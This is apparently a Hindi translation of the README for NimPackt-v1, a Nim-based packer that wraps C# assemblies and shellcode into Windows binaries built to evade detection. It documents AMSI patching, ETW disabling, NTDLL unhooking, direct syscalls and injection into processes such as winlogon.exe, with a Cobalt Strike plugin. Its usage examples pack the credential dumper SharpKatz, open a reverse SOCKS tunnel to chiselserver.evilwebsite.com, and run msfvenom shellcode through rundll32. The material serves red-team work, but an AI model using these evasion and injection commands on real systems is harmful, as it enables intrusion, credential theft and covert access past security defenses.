
Nim-आधारित असेंबली पैकर और शेलकोड लोडर opsec और लाभ के लिए

द्वारा Cas van Cooten (@chvancooten)
Marcello Salvati (@byt3bl33der) और Fabian Mosch (@S3cur3Th1sSh1t) को विशेष धन्यवाद
अद्यतन: NimPackt-v1 मेरे द्वारा लिखित सबसे खराब कोड में से एक है (मैं Nim सीखना शुरू ही कर रहा था)। इस कारण, मैंने NimPackt का पूर्ण पुनर्लेखन शुरू किया, जिसका नाम 'NimPackt-NG' है (वर्तमान में निजी है)। इस पुनर्लेखन के साथ, मैंने पुरानी शाखा ("NimPackt-v1") को ओपन-सोर्स करने का निर्णय लिया। इस प्रकार, यह शाखा अब बनाए नहीं रखी जाती है और किसी भी प्रकार की वारंटी या समर्थन के बिना आती है। बेशक, पुल अनुरोधों का हमेशा स्वागत है :)
NimPackt Windows लक्ष्य के लिए .NET (C#) निष्पादनयोग्य और शेलकोड के लिए एक Nim-आधारित पैकर है। यह स्वचालित रूप से पेलोड को Nim बाइनरी में लपेटता है जो मूल C में संकलित होती है और इस प्रकार इसका पता लगाना और रिवर्स इंजीनियर करना कठिन होता है। दो मुख्य निष्पादन विधियाँ हैं:
Execute-Assembly एक .NET निष्पादनयोग्य को फिर से पैक करता है और चलाता है, वैकल्पिक रूप से API अनहुकिंग, AMSI पैचिंग, या ETW अक्षम करना जैसे चकमा देने वाले उपाय लागू करता है।Shinject कच्चे, स्थिति-स्वतंत्र शेलकोड के साथ एक .bin फ़ाइल लेता है और इसे स्थानीय या दूरस्थ प्रक्रिया में निष्पादित करता है, वैकल्पिक रूप से शेलकोड को ट्रिगर करने के लिए प्रत्यक्ष सिस्कॉल का उपयोग करता है या EDR को चकमा देने के लिए API हुक को पैच करता है।वर्तमान में, NimPackt में निम्नलिखित विशेषताएँ हैं।
NTDLL.dll को ShellyCoat का उपयोग करके ताज़ा करके स्पॉन किए गए थ्रेड के लिए उपयोगकर्ता-मोड API को अनहुक करता हैexe या dll में संकलित होता हैआक्रामक टूलिंग के लिए C#-आधारित बाइनरीज़ का एक बेहतरीन स्रोत यहाँ पाया जा सकता है। C# बाइनरीज़ को स्वयं संकलित करने की अत्यधिक अनुशंसा की जाती है। भले ही एम्बेडेड बाइनरीज़ एन्क्रिप्टेड हों, आपको पता लगने के जोखिम को कम करने के लिए संवेदनशील बाइनरीज़ (जैसे Mimikatz) को अस्पष्ट करना चाहिए।
यदि आपको Syscalls के साथ बाइनरी संकलित करने में समस्या हो रही है, तो अपने GCC को संस्करण 8.1.0 में डाउनग्रेड करने का प्रयास करें (विशेषकर Windows पर)। हमेशा उत्पन्न पेलोड का परीक्षण करें!
Linux पर, बस आवश्यक पैकेज स्थापित करें और आवश्यक पैकेज और Python लाइब्रेरी स्थापित करने के लिए Nimble पैकेज इंस्टॉलर का उपयोग करें।
sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto
Windows पर, यहाँ से Nim इंस्टॉलर निष्पादित करें। mingw स्थापित करना सुनिश्चित करें और प्रदान की गई finish.exe उपयोगिता का उपयोग करके पथ मान सही ढंग से सेट करें। यदि आपके पास Python3 स्थापित नहीं है, तो इसे स्थापित करें, फिर आवश्यक पैकेज निम्नानुसार स्थापित करें।
nimble install winim nimcrypto
pip3 install pycryptodome argparse
Docker इमेज chvancooten/nimbuild का उपयोग NimPackt-v1 बाइनरीज़ को संकलित करने के लिए किया जा सकता है। Docker का उपयोग करना आसान है और निर्भरता की समस्याओं से बचाता है, क्योंकि इस कंटेनर में सभी आवश्यक निर्भरताएँ पूर्व-स्थापित हैं।
इसका उपयोग करने के लिए, अपने OS के लिए Docker स्थापित करें और सुनिश्चित करें कि इनपुट शेलकोड वर्तमान फ़ोल्डर में है। फिर, निम्नानुसार एक कंटेनर में संकलन प्रारंभ करें।
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin
CobaltStrike प्लगइन स्थापित करने के लिए, मेनू बार से Cobalt Strike -> Script Manager चुनें, और Load चुनें। सुनिश्चित करें कि .cna फ़ाइल को उसके मूल स्थान से लोड करें, अन्यथा यह NimPackt स्क्रिप्ट फ़ाइलों को खोजने में सक्षम नहीं होगा!

usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
[-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
[-d] [-v] [-V]
required arguments:
-e EXECUTIONMODE, --executionmode EXECUTIONMODE
Execution mode of the packer. Supports "execute-assembly" or "shinject"
-i INPUTFILE, --inputfile INPUTFILE
C# .NET binary executable (.exe) or shellcode (.bin) to wrap
execute-assembly arguments:
-a ARGUMENTS, --arguments ARGUMENTS
Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run-
time arguments (default)
-na, --nopatchamsi Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
-ne, --nodisableetw Do NOT disable Event Tracing for Windows (ETW)
shinject arguments:
-r, --remote Inject shellcode into remote process (default false)
-t INJECTTARGET, --target INJECTTARGET
Remote thread targeted for remote process injection
-E, --existing Remote inject into existing process rather than a newly spawned one (default
false, implies -r) (WARNING: VOLATILE)
other arguments:
-o OUTPUTFILE, --outfile OUTPUTFILE
Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension
or path. This property will be stored in the output binary as the original
filename
-nu, --nounhook Do NOT unhook user-mode API hooks in the target process by loading a fresh
NTDLL.dll
-ns, --nosyscalls Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
APIs to evade EDR
-f FILETYPE, --filetype FILETYPE
Filetype to compile ("exe" or "dll", default: "exe")
-s, --sleep Sleep for approx. 30 seconds by calculating primes
-32, --32bit Compile in 32-bit mode (untested)
-S, --showConsole Show a console window with the app's output when running
-d, --debug Enable debug mode (retains .nim source file in output folder)
-v, --verbose Print debug messages of the wrapped binary at runtime
-V, --version show program's version number and exit
उदाहरण:
# SharpKatz को पैक करें ताकि रनटाइम पर तर्क स्वीकार करे, NTDLL हुक, AMSI, और ETW को पैच करे, और रनटाइम पर दृश्य कंसोल पर वर्बोज़ संदेश प्रिंट करे
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v
# Seatbelt को एक DLL फ़ाइल के रूप में बेक-इन तर्कों के साथ पैक करें (नोट: stdout उपलब्ध नहीं है, इसलिए आउटफ़ाइल में लिखें)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"
# SharpChisel को बिल्ट-इन ChiselChief कनेक्शन स्ट्रिंग के साथ पैक करें, अनहुक न करें, AMSI पैच न करें, ETW अक्षम न करें, रनटाइम पर एप्लिकेशन विंडो छिपाएं
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'
# कच्चा शेलकोड को DLL फ़ाइल में पैक करें जो प्रत्यक्ष syscalls के माध्यम से स्थानीय थ्रेड में निष्पादित होता है, NTDLL को भी अनहुक करता है
# शेलकोड 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin' से उत्पन्न
python3 NimPackt.py -i calc.bin -e shinject -f dll
# कच्चा शेलकोड को नए स्पॉन किए गए कैलकुलेटर थ्रेड में अदृश्य विंडो में निष्पादित करने के लिए पैक करें
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"
# कच्चा शेलकोड को मौजूदा Winlogon प्रक्रिया में निष्पादित करने के लिए पैक करें ('winlogon.exe' नाम वाली पहली PID), प्रत्यक्ष syscalls का उपयोग न करें और NTDLL को अनहुक न करें
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns
बाइनरीज़ आपकी स्थापना निर्देशिका के output उपफ़ोल्डर में संग्रहीत होती हैं। उत्पन्न dll फ़ाइलों को निम्नानुसार निष्पादित किया जा सकता है (प्रवेश बिंदु को Nim टेम्पलेट में बदला जा सकता है):
rundll32 exampleShinjectNimPackt.dll,IconSrv